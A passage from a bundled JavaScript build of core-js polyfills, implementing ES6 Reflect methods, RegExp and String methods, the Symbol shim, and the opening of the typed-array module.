, isObject = _dereq_(49)
, fails = _dereq_(34)
, bind = _dereq_(16)
, rConstruct = (_dereq_(38).Reflect || {}).construct;
// MS Edge supports only 2 arguments and argumentsList argument is optional
// FF Nightly sets third argument as `new.target`, but does not create `this` from it
var NEW_TARGET_BUG = fails(function(){
function F(){}
return !(rConstruct(function(){}, [], F) instanceof F);
});
var ARGS_BUG = !fails(function(){
rConstruct(function(){});
});
$export($export.S + $export.F * (NEW_TARGET_BUG || ARGS_BUG), 'Reflect', {
construct: function construct(Target, args /*, newTarget*/){
aFunction(Target);
anObject(args);
var newTarget = arguments.length < 3 ? Target : aFunction(arguments[2]);
if(ARGS_BUG && !NEW_TARGET_BUG)return rConstruct(Target, args, newTarget);
if(Target == newTarget){
// w/o altered newTarget, optimization for 0-4 arguments
switch(args.length){
case 0: return new Target;
case 1: return new Target(args[0]);
case 2: return new Target(args[0], args[1]);
case 3: return new Target(args[0], args[1], args[2]);
case 4: return new Target(args[0], args[1], args[2], args[3]);
}
// w/o altered newTarget, lot of arguments case
var $args = [null];
$args.push.apply($args, args);
return new (bind.apply(Target, $args));
}
// with altered newTarget, not support built-in constructors
var proto = newTarget.prototype
, instance = create(isObject(proto) ? proto : Object.prototype)
, result = Function.apply.call(Target, instance, args);
return isObject(result) ? result : instance;
}
});
},{"16":16,"3":3,"32":32,"34":34,"38":38,"49":49,"66":66,"7":7}],201:[function(_dereq_,module,exports){
// 26.1.3 Reflect.defineProperty(target, propertyKey, attributes)
var dP = _dereq_(67)
, $export = _dereq_(32)
, anObject = _dereq_(7)
, toPrimitive = _dereq_(110);
// MS Edge has broken Reflect.defineProperty - throwing instead of returning false
$export($export.S + $export.F * _dereq_(34)(function(){
Reflect.defineProperty(dP.f({}, 1, {value: 1}), 1, {value: 2});
}), 'Reflect', {
defineProperty: function defineProperty(target, propertyKey, attributes){
anObject(target);
propertyKey = toPrimitive(propertyKey, true);
anObject(attributes);
try {
dP.f(target, propertyKey, attributes);
return true;
} catch(e){
return false;
}
}
});
},{"110":110,"32":32,"34":34,"67":67,"7":7}],202:[function(_dereq_,module,exports){
// 26.1.4 Reflect.deleteProperty(target, propertyKey)
var $export = _dereq_(32)
, gOPD = _dereq_(70).f
, anObject = _dereq_(7);
$export($export.S, 'Reflect', {
deleteProperty: function deleteProperty(target, propertyKey){
var desc = gOPD(anObject(target), propertyKey);
return desc && !desc.configurable ? false : delete target[propertyKey];
}
});
},{"32":32,"7":7,"70":70}],203:[function(_dereq_,module,exports){
'use strict';
// 26.1.5 Reflect.enumerate(target)
var $export = _dereq_(32)
, anObject = _dereq_(7);
var Enumerate = function(iterated){
this._t = anObject(iterated); // target
this._i = 0; // next index
var keys = this._k = [] // keys
, key;
for(key in iterated)keys.push(key);
};
_dereq_(52)(Enumerate, 'Object', function(){
var that = this
, keys = that._k
, key;
do {
if(that._i >= keys.length)return {value: undefined, done: true};
} while(!((key = keys[that._i++]) in that._t));
return {value: key, done: false};
});
$export($export.S, 'Reflect', {
enumerate: function enumerate(target){
return new Enumerate(target);
}
});
},{"32":32,"52":52,"7":7}],204:[function(_dereq_,module,exports){
// 26.1.7 Reflect.getOwnPropertyDescriptor(target, propertyKey)
var gOPD = _dereq_(70)
, $export = _dereq_(32)
, anObject = _dereq_(7);
$export($export.S, 'Reflect', {
getOwnPropertyDescriptor: function getOwnPropertyDescriptor(target, propertyKey){
return gOPD.f(anObject(target), propertyKey);
}
});
},{"32":32,"7":7,"70":70}],205:[function(_dereq_,module,exports){
// 26.1.8 Reflect.getPrototypeOf(target)
var $export = _dereq_(32)
, getProto = _dereq_(74)
, anObject = _dereq_(7);
$export($export.S, 'Reflect', {
getPrototypeOf: function getPrototypeOf(target){
return getProto(anObject(target));
}
});
},{"32":32,"7":7,"74":74}],206:[function(_dereq_,module,exports){
// 26.1.6 Reflect.get(target, propertyKey [, receiver])
var gOPD = _dereq_(70)
, getPrototypeOf = _dereq_(74)
, has = _dereq_(39)
, $export = _dereq_(32)
, isObject = _dereq_(49)
, anObject = _dereq_(7);
function get(target, propertyKey/*, receiver*/){
var receiver = arguments.length < 3 ? target : arguments[2]
, desc, proto;
if(anObject(target) === receiver)return target[propertyKey];
if(desc = gOPD.f(target, propertyKey))return has(desc, 'value')
? desc.value
: desc.get !== undefined
? desc.get.call(receiver)
: undefined;
if(isObject(proto = getPrototypeOf(target)))return get(proto, propertyKey, receiver);
}
$export($export.S, 'Reflect', {get: get});
},{"32":32,"39":39,"49":49,"7":7,"70":70,"74":74}],207:[function(_dereq_,module,exports){
// 26.1.9 Reflect.has(target, propertyKey)
var $export = _dereq_(32);
$export($export.S, 'Reflect', {
has: function has(target, propertyKey){
return propertyKey in target;
}
});
},{"32":32}],208:[function(_dereq_,module,exports){
// 26.1.10 Reflect.isExtensible(target)
var $export = _dereq_(32)
, anObject = _dereq_(7)
, $isExtensible = Object.isExtensible;
$export($export.S, 'Reflect', {
isExtensible: function isExtensible(target){
anObject(target);
return $isExtensible ? $isExtensible(target) : true;
}
});
},{"32":32,"7":7}],209:[function(_dereq_,module,exports){
// 26.1.11 Reflect.ownKeys(target)
var $export = _dereq_(32);
$export($export.S, 'Reflect', {ownKeys: _dereq_(80)});
},{"32":32,"80":80}],210:[function(_dereq_,module,exports){
// 26.1.12 Reflect.preventExtensions(target)
var $export = _dereq_(32)
, anObject = _dereq_(7)
, $preventExtensions = Object.preventExtensions;
$export($export.S, 'Reflect', {
preventExtensions: function preventExtensions(target){
anObject(target);
try {
if($preventExtensions)$preventExtensions(target);
return true;
} catch(e){
return false;
}
}
});
},{"32":32,"7":7}],211:[function(_dereq_,module,exports){
// 26.1.14 Reflect.setPrototypeOf(target, proto)
var $export = _dereq_(32)
, setProto = _dereq_(90);
if(setProto)$export($export.S, 'Reflect', {
setPrototypeOf: function setPrototypeOf(target, proto){
setProto.check(target, proto);
try {
setProto.set(target, proto);
return true;
} catch(e){
return false;
}
}
});
},{"32":32,"90":90}],212:[function(_dereq_,module,exports){
// 26.1.13 Reflect.set(target, propertyKey, V [, receiver])
var dP = _dereq_(67)
, gOPD = _dereq_(70)
, getPrototypeOf = _dereq_(74)
, has = _dereq_(39)
, $export = _dereq_(32)
, createDesc = _dereq_(85)
, anObject = _dereq_(7)
, isObject = _dereq_(49);
function set(target, propertyKey, V/*, receiver*/){
var receiver = arguments.length < 4 ? target : arguments[3]
, ownDesc = gOPD.f(anObject(target), propertyKey)
, existingDescriptor, proto;
if(!ownDesc){
if(isObject(proto = getPrototypeOf(target))){
return set(proto, propertyKey, V, receiver);
}
ownDesc = createDesc(0);
}
if(has(ownDesc, 'value')){
if(ownDesc.writable === false || !isObject(receiver))return false;
existingDescriptor = gOPD.f(receiver, propertyKey) || createDesc(0);
existingDescriptor.value = V;
dP.f(receiver, propertyKey, existingDescriptor);
return true;
}
return ownDesc.set === undefined ? false : (ownDesc.set.call(receiver, V), true);
}
$export($export.S, 'Reflect', {set: set});
},{"32":32,"39":39,"49":49,"67":67,"7":7,"70":70,"74":74,"85":85}],213:[function(_dereq_,module,exports){
var global = _dereq_(38)
, inheritIfRequired = _dereq_(43)
, dP = _dereq_(67).f
, gOPN = _dereq_(72).f
, isRegExp = _dereq_(50)
, $flags = _dereq_(36)
, $RegExp = global.RegExp
, Base = $RegExp
, proto = $RegExp.prototype
, re1 = /a/g
, re2 = /a/g
// "new" creates a new object, old webkit buggy here
, CORRECT_NEW = new $RegExp(re1) !== re1;
if(_dereq_(28) && (!CORRECT_NEW || _dereq_(34)(function(){
re2[_dereq_(117)('match')] = false;
// RegExp constructor can alter flags and IsRegExp works correct with @@match
return $RegExp(re1) != re1 || $RegExp(re2) == re2 || $RegExp(re1, 'i') != '/a/i';
}))){
$RegExp = function RegExp(p, f){
var tiRE = this instanceof $RegExp
, piRE = isRegExp(p)
, fiU = f === undefined;
return !tiRE && piRE && p.constructor === $RegExp && fiU ? p
: inheritIfRequired(CORRECT_NEW
? new Base(piRE && !fiU ? p.source : p, f)
: Base((piRE = p instanceof $RegExp) ? p.source : p, piRE && fiU ? $flags.call(p) : f)
, tiRE ? this : proto, $RegExp);
};
var proxy = function(key){
key in $RegExp || dP($RegExp, key, {
configurable: true,
get: function(){ return Base[key]; },
set: function(it){ Base[key] = it; }
});
};
for(var keys = gOPN(Base), i = 0; keys.length > i; )proxy(keys[i++]);
proto.constructor = $RegExp;
$RegExp.prototype = proto;
_dereq_(87)(global, 'RegExp', $RegExp);
}
_dereq_(91)('RegExp');
},{"117":117,"28":28,"34":34,"36":36,"38":38,"43":43,"50":50,"67":67,"72":72,"87":87,"91":91}],214:[function(_dereq_,module,exports){
// 21.2.5.3 get RegExp.prototype.flags()
if(_dereq_(28) && /./g.flags != 'g')_dereq_(67).f(RegExp.prototype, 'flags', {
configurable: true,
get: _dereq_(36)
});
},{"28":28,"36":36,"67":67}],215:[function(_dereq_,module,exports){
// @@match logic
_dereq_(35)('match', 1, function(defined, MATCH, $match){
// 21.1.3.11 String.prototype.match(regexp)
return [function match(regexp){
'use strict';
var O = defined(this)
, fn = regexp == undefined ? undefined : regexp[MATCH];
return fn !== undefined ? fn.call(regexp, O) : new RegExp(regexp)[MATCH](String(O));
}, $match];
});
},{"35":35}],216:[function(_dereq_,module,exports){
// @@replace logic
_dereq_(35)('replace', 2, function(defined, REPLACE, $replace){
// 21.1.3.14 String.prototype.replace(searchValue, replaceValue)
return [function replace(searchValue, replaceValue){
'use strict';
var O = defined(this)
, fn = searchValue == undefined ? undefined : searchValue[REPLACE];
return fn !== undefined
? fn.call(searchValue, O, replaceValue)
: $replace.call(String(O), searchValue, replaceValue);
}, $replace];
});
},{"35":35}],217:[function(_dereq_,module,exports){
// @@search logic
_dereq_(35)('search', 1, function(defined, SEARCH, $search){
// 21.1.3.15 String.prototype.search(regexp)
return [function search(regexp){
'use strict';
var O = defined(this)
, fn = regexp == undefined ? undefined : regexp[SEARCH];
return fn !== undefined ? fn.call(regexp, O) : new RegExp(regexp)[SEARCH](String(O));
}, $search];
});
},{"35":35}],218:[function(_dereq_,module,exports){
// @@split logic
_dereq_(35)('split', 2, function(defined, SPLIT, $split){
'use strict';
var isRegExp = _dereq_(50)
, _split = $split
, $push = [].push
, $SPLIT = 'split'
, LENGTH = 'length'
, LAST_INDEX = 'lastIndex';
if(
'abbc'[$SPLIT](/(b)*/)[1] == 'c' ||
'test'[$SPLIT](/(?:)/, -1)[LENGTH] != 4 ||
'ab'[$SPLIT](/(?:ab)*/)[LENGTH] != 2 ||
'.'[$SPLIT](/(.?)(.?)/)[LENGTH] != 4 ||
'.'[$SPLIT](/()()/)[LENGTH] > 1 ||
''[$SPLIT](/.?/)[LENGTH]
){
var NPCG = /()??/.exec('')[1] === undefined; // nonparticipating capturing group
// based on es5-shim implementation, need to rework it
$split = function(separator, limit){
var string = String(this);
if(separator === undefined && limit === 0)return [];
// If `separator` is not a regex, use native split
if(!isRegExp(separator))return _split.call(string, separator, limit);
var output = [];
var flags = (separator.ignoreCase ? 'i' : '') +
(separator.multiline ? 'm' : '') +
(separator.unicode ? 'u' : '') +
(separator.sticky ? 'y' : '');
var lastLastIndex = 0;
var splitLimit = limit === undefined ? 4294967295 : limit >>> 0;
// Make `global` and avoid `lastIndex` issues by working with a copy
var separatorCopy = new RegExp(separator.source, flags + 'g');
var separator2, match, lastIndex, lastLength, i;
// Doesn't need flags gy, but they don't hurt
if(!NPCG)separator2 = new RegExp('^' + separatorCopy.source + '$(?!\\s)', flags);
while(match = separatorCopy.exec(string)){
// `separatorCopy.lastIndex` is not reliable cross-browser
lastIndex = match.index + match[0][LENGTH];
if(lastIndex > lastLastIndex){
output.push(string.slice(lastLastIndex, match.index));
// Fix browsers whose `exec` methods don't consistently return `undefined` for NPCG
if(!NPCG && match[LENGTH] > 1)match[0].replace(separator2, function(){
for(i = 1; i < arguments[LENGTH] - 2; i++)if(arguments[i] === undefined)match[i] = undefined;
});
if(match[LENGTH] > 1 && match.index < string[LENGTH])$push.apply(output, match.slice(1));
lastLength = match[0][LENGTH];
lastLastIndex = lastIndex;
if(output[LENGTH] >= splitLimit)break;
}
if(separatorCopy[LAST_INDEX] === match.index)separatorCopy[LAST_INDEX]++; // Avoid an infinite loop
}
if(lastLastIndex === string[LENGTH]){
if(lastLength || !separatorCopy.test(''))output.push('');
} else output.push(string.slice(lastLastIndex));
return output[LENGTH] > splitLimit ? output.slice(0, splitLimit) : output;
};
// Chakra, V8
} else if('0'[$SPLIT](undefined, 0)[LENGTH]){
$split = function(separator, limit){
return separator === undefined && limit === 0 ? [] : _split.call(this, separator, limit);
};
}
// 21.1.3.17 String.prototype.split(separator, limit)
return [function split(separator, limit){
var O = defined(this)
, fn = separator == undefined ? undefined : separator[SPLIT];
return fn !== undefined ? fn.call(separator, O, limit) : $split.call(String(O), separator, limit);
}, $split];
});
},{"35":35,"50":50}],219:[function(_dereq_,module,exports){
'use strict';
_dereq_(214);
var anObject = _dereq_(7)
, $flags = _dereq_(36)
, DESCRIPTORS = _dereq_(28)
, TO_STRING = 'toString'
, $toString = /./[TO_STRING];
var define = function(fn){
_dereq_(87)(RegExp.prototype, TO_STRING, fn, true);
};
// 21.2.5.14 RegExp.prototype.toString()
if(_dereq_(34)(function(){ return $toString.call({source: 'a', flags: 'b'}) != '/a/b'; })){
define(function toString(){
var R = anObject(this);
return '/'.concat(R.source, '/',
'flags' in R ? R.flags : !DESCRIPTORS && R instanceof RegExp ? $flags.call(R) : undefined);
});
// FF44- RegExp#toString has a wrong name
} else if($toString.name != TO_STRING){
define(function toString(){
return $toString.call(this);
});
}
},{"214":214,"28":28,"34":34,"36":36,"7":7,"87":87}],220:[function(_dereq_,module,exports){
'use strict';
var strong = _dereq_(19);
// 23.2 Set Objects
module.exports = _dereq_(22)('Set', function(get){
return function Set(){ return get(this, arguments.length > 0 ? arguments[0] : undefined); };
}, {
// 23.2.3.1 Set.prototype.add(value)
add: function add(value){
return strong.def(this, value = value === 0 ? 0 : value, value);
}
}, strong);
},{"19":19,"22":22}],221:[function(_dereq_,module,exports){
'use strict';
// B.2.3.2 String.prototype.anchor(name)
_dereq_(99)('anchor', function(createHTML){
return function anchor(name){
return createHTML(this, 'a', 'name', name);
}
});
},{"99":99}],222:[function(_dereq_,module,exports){
'use strict';
// B.2.3.3 String.prototype.big()
_dereq_(99)('big', function(createHTML){
return function big(){
return createHTML(this, 'big', '', '');
}
});
},{"99":99}],223:[function(_dereq_,module,exports){
'use strict';
// B.2.3.4 String.prototype.blink()
_dereq_(99)('blink', function(createHTML){
return function blink(){
return createHTML(this, 'blink', '', '');
}
});
},{"99":99}],224:[function(_dereq_,module,exports){
'use strict';
// B.2.3.5 String.prototype.bold()
_dereq_(99)('bold', function(createHTML){
return function bold(){
return createHTML(this, 'b', '', '');
}
});
},{"99":99}],225:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, $at = _dereq_(97)(false);
$export($export.P, 'String', {
// 21.1.3.3 String.prototype.codePointAt(pos)
codePointAt: function codePointAt(pos){
return $at(this, pos);
}
});
},{"32":32,"97":97}],226:[function(_dereq_,module,exports){
// 21.1.3.6 String.prototype.endsWith(searchString [, endPosition])
'use strict';
var $export = _dereq_(32)
, toLength = _dereq_(108)
, context = _dereq_(98)
, ENDS_WITH = 'endsWith'
, $endsWith = ''[ENDS_WITH];
$export($export.P + $export.F * _dereq_(33)(ENDS_WITH), 'String', {
endsWith: function endsWith(searchString /*, endPosition = @length */){
var that = context(this, searchString, ENDS_WITH)
, endPosition = arguments.length > 1 ? arguments[1] : undefined
, len = toLength(that.length)
, end = endPosition === undefined ? len : Math.min(toLength(endPosition), len)
, search = String(searchString);
return $endsWith
? $endsWith.call(that, search, end)
: that.slice(end - search.length, end) === search;
}
});
},{"108":108,"32":32,"33":33,"98":98}],227:[function(_dereq_,module,exports){
'use strict';
// B.2.3.6 String.prototype.fixed()
_dereq_(99)('fixed', function(createHTML){
return function fixed(){
return createHTML(this, 'tt', '', '');
}
});
},{"99":99}],228:[function(_dereq_,module,exports){
'use strict';
// B.2.3.7 String.prototype.fontcolor(color)
_dereq_(99)('fontcolor', function(createHTML){
return function fontcolor(color){
return createHTML(this, 'font', 'color', color);
}
});
},{"99":99}],229:[function(_dereq_,module,exports){
'use strict';
// B.2.3.8 String.prototype.fontsize(size)
_dereq_(99)('fontsize', function(createHTML){
return function fontsize(size){
return createHTML(this, 'font', 'size', size);
}
});
},{"99":99}],230:[function(_dereq_,module,exports){
var $export = _dereq_(32)
, toIndex = _dereq_(105)
, fromCharCode = String.fromCharCode
, $fromCodePoint = String.fromCodePoint;
// length should be 1, old FF problem
$export($export.S + $export.F * (!!$fromCodePoint && $fromCodePoint.length != 1), 'String', {
// 21.1.2.2 String.fromCodePoint(...codePoints)
fromCodePoint: function fromCodePoint(x){ // eslint-disable-line no-unused-vars
var res = []
, aLen = arguments.length
, i = 0
, code;
while(aLen > i){
code = +arguments[i++];
if(toIndex(code, 0x10ffff) !== code)throw RangeError(code + ' is not a valid code point');
res.push(code < 0x10000
? fromCharCode(code)
: fromCharCode(((code -= 0x10000) >> 10) + 0xd800, code % 0x400 + 0xdc00)
);
} return res.join('');
}
});
},{"105":105,"32":32}],231:[function(_dereq_,module,exports){
// 21.1.3.7 String.prototype.includes(searchString, position = 0)
'use strict';
var $export = _dereq_(32)
, context = _dereq_(98)
, INCLUDES = 'includes';
$export($export.P + $export.F * _dereq_(33)(INCLUDES), 'String', {
includes: function includes(searchString /*, position = 0 */){
return !!~context(this, searchString, INCLUDES)
.indexOf(searchString, arguments.length > 1 ? arguments[1] : undefined);
}
});
},{"32":32,"33":33,"98":98}],232:[function(_dereq_,module,exports){
'use strict';
// B.2.3.9 String.prototype.italics()
_dereq_(99)('italics', function(createHTML){
return function italics(){
return createHTML(this, 'i', '', '');
}
});
},{"99":99}],233:[function(_dereq_,module,exports){
'use strict';
var $at = _dereq_(97)(true);
// 21.1.3.27 String.prototype[@@iterator]()
_dereq_(53)(String, 'String', function(iterated){
this._t = String(iterated); // target
this._i = 0; // next index
// 21.1.5.2.1 %StringIteratorPrototype%.next()
}, function(){
var O = this._t
, index = this._i
, point;
if(index >= O.length)return {value: undefined, done: true};
point = $at(O, index);
this._i += point.length;
return {value: point, done: false};
});
},{"53":53,"97":97}],234:[function(_dereq_,module,exports){
'use strict';
// B.2.3.10 String.prototype.link(url)
_dereq_(99)('link', function(createHTML){
return function link(url){
return createHTML(this, 'a', 'href', url);
}
});
},{"99":99}],235:[function(_dereq_,module,exports){
var $export = _dereq_(32)
, toIObject = _dereq_(107)
, toLength = _dereq_(108);
$export($export.S, 'String', {
// 21.1.2.4 String.raw(callSite, ...substitutions)
raw: function raw(callSite){
var tpl = toIObject(callSite.raw)
, len = toLength(tpl.length)
, aLen = arguments.length
, res = []
, i = 0;
while(len > i){
res.push(String(tpl[i++]));
if(i < aLen)res.push(String(arguments[i]));
} return res.join('');
}
});
},{"107":107,"108":108,"32":32}],236:[function(_dereq_,module,exports){
var $export = _dereq_(32);
$export($export.P, 'String', {
// 21.1.3.13 String.prototype.repeat(count)
repeat: _dereq_(101)
});
},{"101":101,"32":32}],237:[function(_dereq_,module,exports){
'use strict';
// B.2.3.11 String.prototype.small()
_dereq_(99)('small', function(createHTML){
return function small(){
return createHTML(this, 'small', '', '');
}
});
},{"99":99}],238:[function(_dereq_,module,exports){
// 21.1.3.18 String.prototype.startsWith(searchString [, position ])
'use strict';
var $export = _dereq_(32)
, toLength = _dereq_(108)
, context = _dereq_(98)
, STARTS_WITH = 'startsWith'
, $startsWith = ''[STARTS_WITH];
$export($export.P + $export.F * _dereq_(33)(STARTS_WITH), 'String', {
startsWith: function startsWith(searchString /*, position = 0 */){
var that = context(this, searchString, STARTS_WITH)
, index = toLength(Math.min(arguments.length > 1 ? arguments[1] : undefined, that.length))
, search = String(searchString);
return $startsWith
? $startsWith.call(that, search, index)
: that.slice(index, index + search.length) === search;
}
});
},{"108":108,"32":32,"33":33,"98":98}],239:[function(_dereq_,module,exports){
'use strict';
// B.2.3.12 String.prototype.strike()
_dereq_(99)('strike', function(createHTML){
return function strike(){
return createHTML(this, 'strike', '', '');
}
});
},{"99":99}],240:[function(_dereq_,module,exports){
'use strict';
// B.2.3.13 String.prototype.sub()
_dereq_(99)('sub', function(createHTML){
return function sub(){
return createHTML(this, 'sub', '', '');
}
});
},{"99":99}],241:[function(_dereq_,module,exports){
'use strict';
// B.2.3.14 String.prototype.sup()
_dereq_(99)('sup', function(createHTML){
return function sup(){
return createHTML(this, 'sup', '', '');
}
});
},{"99":99}],242:[function(_dereq_,module,exports){
'use strict';
// 21.1.3.25 String.prototype.trim()
_dereq_(102)('trim', function($trim){
return function trim(){
return $trim(this, 3);
};
});
},{"102":102}],243:[function(_dereq_,module,exports){
'use strict';
// ECMAScript 6 symbols shim
var global = _dereq_(38)
, has = _dereq_(39)
, DESCRIPTORS = _dereq_(28)
, $export = _dereq_(32)
, redefine = _dereq_(87)
, META = _dereq_(62).KEY
, $fails = _dereq_(34)
, shared = _dereq_(94)
, setToStringTag = _dereq_(92)
, uid = _dereq_(114)
, wks = _dereq_(117)
, wksExt = _dereq_(116)
, wksDefine = _dereq_(115)
, keyOf = _dereq_(57)
, enumKeys = _dereq_(31)
, isArray = _dereq_(47)
, anObject = _dereq_(7)
, toIObject = _dereq_(107)
, toPrimitive = _dereq_(110)
, createDesc = _dereq_(85)
, _create = _dereq_(66)
, gOPNExt = _dereq_(71)
, $GOPD = _dereq_(70)
, $DP = _dereq_(67)
, $keys = _dereq_(76)
, gOPD = $GOPD.f
, dP = $DP.f
, gOPN = gOPNExt.f
, $Symbol = global.Symbol
, $JSON = global.JSON
, _stringify = $JSON && $JSON.stringify
, PROTOTYPE = 'prototype'
, HIDDEN = wks('_hidden')
, TO_PRIMITIVE = wks('toPrimitive')
, isEnum = {}.propertyIsEnumerable
, SymbolRegistry = shared('symbol-registry')
, AllSymbols = shared('symbols')
, OPSymbols = shared('op-symbols')
, ObjectProto = Object[PROTOTYPE]
, USE_NATIVE = typeof $Symbol == 'function'
, QObject = global.QObject;
// Don't use setters in Qt Script, https://github.com/zloirock/core-js/issues/173
var setter = !QObject || !QObject[PROTOTYPE] || !QObject[PROTOTYPE].findChild;
// fallback for old Android, https://code.google.com/p/v8/issues/detail?id=687
var setSymbolDesc = DESCRIPTORS && $fails(function(){
return _create(dP({}, 'a', {
get: function(){ return dP(this, 'a', {value: 7}).a; }
})).a != 7;
}) ? function(it, key, D){
var protoDesc = gOPD(ObjectProto, key);
if(protoDesc)delete ObjectProto[key];
dP(it, key, D);
if(protoDesc && it !== ObjectProto)dP(ObjectProto, key, protoDesc);
} : dP;
var wrap = function(tag){
var sym = AllSymbols[tag] = _create($Symbol[PROTOTYPE]);
sym._k = tag;
return sym;
};
var isSymbol = USE_NATIVE && typeof $Symbol.iterator == 'symbol' ? function(it){
return typeof it == 'symbol';
} : function(it){
return it instanceof $Symbol;
};
var $defineProperty = function defineProperty(it, key, D){
if(it === ObjectProto)$defineProperty(OPSymbols, key, D);
anObject(it);
key = toPrimitive(key, true);
anObject(D);
if(has(AllSymbols, key)){
if(!D.enumerable){
if(!has(it, HIDDEN))dP(it, HIDDEN, createDesc(1, {}));
it[HIDDEN][key] = true;
} else {
if(has(it, HIDDEN) && it[HIDDEN][key])it[HIDDEN][key] = false;
D = _create(D, {enumerable: createDesc(0, false)});
} return setSymbolDesc(it, key, D);
} return dP(it, key, D);
};
var $defineProperties = function defineProperties(it, P){
anObject(it);
var keys = enumKeys(P = toIObject(P))
, i = 0
, l = keys.length
, key;
while(l > i)$defineProperty(it, key = keys[i++], P[key]);
return it;
};
var $create = function create(it, P){
return P === undefined ? _create(it) : $defineProperties(_create(it), P);
};
var $propertyIsEnumerable = function propertyIsEnumerable(key){
var E = isEnum.call(this, key = toPrimitive(key, true));
if(this === ObjectProto && has(AllSymbols, key) && !has(OPSymbols, key))return false;
return E || !has(this, key) || !has(AllSymbols, key) || has(this, HIDDEN) && this[HIDDEN][key] ? E : true;
};
var $getOwnPropertyDescriptor = function getOwnPropertyDescriptor(it, key){
it = toIObject(it);
key = toPrimitive(key, true);
if(it === ObjectProto && has(AllSymbols, key) && !has(OPSymbols, key))return;
var D = gOPD(it, key);
if(D && has(AllSymbols, key) && !(has(it, HIDDEN) && it[HIDDEN][key]))D.enumerable = true;
return D;
};
var $getOwnPropertyNames = function getOwnPropertyNames(it){
var names = gOPN(toIObject(it))
, result = []
, i = 0
, key;
while(names.length > i){
if(!has(AllSymbols, key = names[i++]) && key != HIDDEN && key != META)result.push(key);
} return result;
};
var $getOwnPropertySymbols = function getOwnPropertySymbols(it){
var IS_OP = it === ObjectProto
, names = gOPN(IS_OP ? OPSymbols : toIObject(it))
, result = []
, i = 0
, key;
while(names.length > i){
if(has(AllSymbols, key = names[i++]) && (IS_OP ? has(ObjectProto, key) : true))result.push(AllSymbols[key]);
} return result;
};
// 19.4.1.1 Symbol([description])
if(!USE_NATIVE){
$Symbol = function Symbol(){
if(this instanceof $Symbol)throw TypeError('Symbol is not a constructor!');
var tag = uid(arguments.length > 0 ? arguments[0] : undefined);
var $set = function(value){
if(this === ObjectProto)$set.call(OPSymbols, value);
if(has(this, HIDDEN) && has(this[HIDDEN], tag))this[HIDDEN][tag] = false;
setSymbolDesc(this, tag, createDesc(1, value));
};
if(DESCRIPTORS && setter)setSymbolDesc(ObjectProto, tag, {configurable: true, set: $set});
return wrap(tag);
};
redefine($Symbol[PROTOTYPE], 'toString', function toString(){
return this._k;
});
$GOPD.f = $getOwnPropertyDescriptor;
$DP.f = $defineProperty;
_dereq_(72).f = gOPNExt.f = $getOwnPropertyNames;
_dereq_(77).f = $propertyIsEnumerable;
_dereq_(73).f = $getOwnPropertySymbols;
if(DESCRIPTORS && !_dereq_(58)){
redefine(ObjectProto, 'propertyIsEnumerable', $propertyIsEnumerable, true);
}
wksExt.f = function(name){
return wrap(wks(name));
}
}
$export($export.G + $export.W + $export.F * !USE_NATIVE, {Symbol: $Symbol});
for(var symbols = (
// 19.4.2.2, 19.4.2.3, 19.4.2.4, 19.4.2.6, 19.4.2.8, 19.4.2.9, 19.4.2.10, 19.4.2.11, 19.4.2.12, 19.4.2.13, 19.4.2.14
'hasInstance,isConcatSpreadable,iterator,match,replace,search,species,split,toPrimitive,toStringTag,unscopables'
).split(','), i = 0; symbols.length > i; )wks(symbols[i++]);
for(var symbols = $keys(wks.store), i = 0; symbols.length > i; )wksDefine(symbols[i++]);
$export($export.S + $export.F * !USE_NATIVE, 'Symbol', {
// 19.4.2.1 Symbol.for(key)
'for': function(key){
return has(SymbolRegistry, key += '')
? SymbolRegistry[key]
: SymbolRegistry[key] = $Symbol(key);
},
// 19.4.2.5 Symbol.keyFor(sym)
keyFor: function keyFor(key){
if(isSymbol(key))return keyOf(SymbolRegistry, key);
throw TypeError(key + ' is not a symbol!');
},
useSetter: function(){ setter = true; },
useSimple: function(){ setter = false; }
});
$export($export.S + $export.F * !USE_NATIVE, 'Object', {
// 19.1.2.2 Object.create(O [, Properties])
create: $create,
// 19.1.2.4 Object.defineProperty(O, P, Attributes)
defineProperty: $defineProperty,
// 19.1.2.3 Object.defineProperties(O, Properties)
defineProperties: $defineProperties,
// 19.1.2.6 Object.getOwnPropertyDescriptor(O, P)
getOwnPropertyDescriptor: $getOwnPropertyDescriptor,
// 19.1.2.7 Object.getOwnPropertyNames(O)
getOwnPropertyNames: $getOwnPropertyNames,
// 19.1.2.8 Object.getOwnPropertySymbols(O)
getOwnPropertySymbols: $getOwnPropertySymbols
});
// 24.3.2 JSON.stringify(value [, replacer [, space]])
$JSON && $export($export.S + $export.F * (!USE_NATIVE || $fails(function(){
var S = $Symbol();
// MS Edge converts symbol values to JSON as {}
// WebKit converts symbol values to JSON as null
// V8 throws on boxed symbols
return _stringify([S]) != '[null]' || _stringify({a: S}) != '{}' || _stringify(Object(S)) != '{}';
})), 'JSON', {
stringify: function stringify(it){
if(it === undefined || isSymbol(it))return; // IE8 returns string on undefined
var args = [it]
, i = 1
, replacer, $replacer;
while(arguments.length > i)args.push(arguments[i++]);
replacer = args[1];
if(typeof replacer == 'function')$replacer = replacer;
if($replacer || !isArray(replacer))replacer = function(key, value){
if($replacer)value = $replacer.call(this, key, value);
if(!isSymbol(value))return value;
};
args[1] = replacer;
return _stringify.apply($JSON, args);
}
});
// 19.4.3.4 Symbol.prototype[@@toPrimitive](hint)
$Symbol[PROTOTYPE][TO_PRIMITIVE] || _dereq_(40)($Symbol[PROTOTYPE], TO_PRIMITIVE, $Symbol[PROTOTYPE].valueOf);
// 19.4.3.5 Symbol.prototype[@@toStringTag]
setToStringTag($Symbol, 'Symbol');
// 20.2.1.9 Math[@@toStringTag]
setToStringTag(Math, 'Math', true);
// 24.3.3 JSON[@@toStringTag]
setToStringTag(global.JSON, 'JSON', true);
},{"107":107,"110":110,"114":114,"115":115,"116":116,"117":117,"28":28,"31":31,"32":32,"34":34,"38":38,"39":39,"40":40,"47":47,"57":57,"58":58,"62":62,"66":66,"67":67,"7":7,"70":70,"71":71,"72":72,"73":73,"76":76,"77":77,"85":85,"87":87,"92":92,"94":94}],244:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, $typed = _dereq_(113)
, buffer = _dereq_(112)
, anObject = _dereq_(7)
, toIndex = _dereq_(105)
, toLength = _dereq_(108)
, isObject = _dereq_(49)
, ArrayBuffer = _dereq_(38).ArrayBuffer
, speciesConstructor = _dereq_(95)
, $ArrayBuffer = buffer.ArrayBuffer
, $DataView = buffer.DataView
, $isView = $typed.ABV && ArrayBuffer.isView
, $slice = $ArrayBuffer.prototype.slice
, VIEW = $typed.VIEW
